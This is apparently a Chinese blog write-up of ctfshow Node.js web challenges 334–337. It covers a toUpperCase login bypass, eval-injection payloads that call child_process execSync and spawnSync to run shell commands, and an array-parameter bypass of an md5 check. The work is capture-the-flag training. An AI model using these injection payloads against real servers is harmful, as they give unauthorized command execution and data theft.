ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
Andya_net8 小时前
网络安全 | 深入了解 X.509 证书及其应用
服务器·安全·web安全
Q_Q51100828511 小时前
python+uniapp基于微信小程序团购系统
spring boot·python·微信小程序·django·uni-app·node.js·php
云枫晖16 小时前
深入浅出npm:现代JavaScript项目基石
前端·javascript·node.js
Q_Q196328847520 小时前
python+vue的在线租房 房屋租赁系统
开发语言·vue.js·spring boot·python·django·flask·node.js
不会写DN20 小时前
用户头像文件存储功能是如何实现的?
java·linux·后端·golang·node.js·github
Andya_net1 天前
网络安全 | SSL/TLS 证书文件格式详解:PEM、CRT、CER、DER、PKI、PKCS12
安全·web安全·ssl
前端双越老师1 天前
译: 构建高效 AI Agent 智能体
前端·node.js·agent
jieyu11191 天前
uploads-labs靶场通关(1)
web安全·文件上传漏洞·靶场通关
哆啦A梦15881 天前
搜索页面布局
前端·vue.js·node.js
Q_Q5110082851 天前
python+uniapp基于微信小程序的旅游信息系统
spring boot·python·微信小程序·django·flask·uni-app·node.js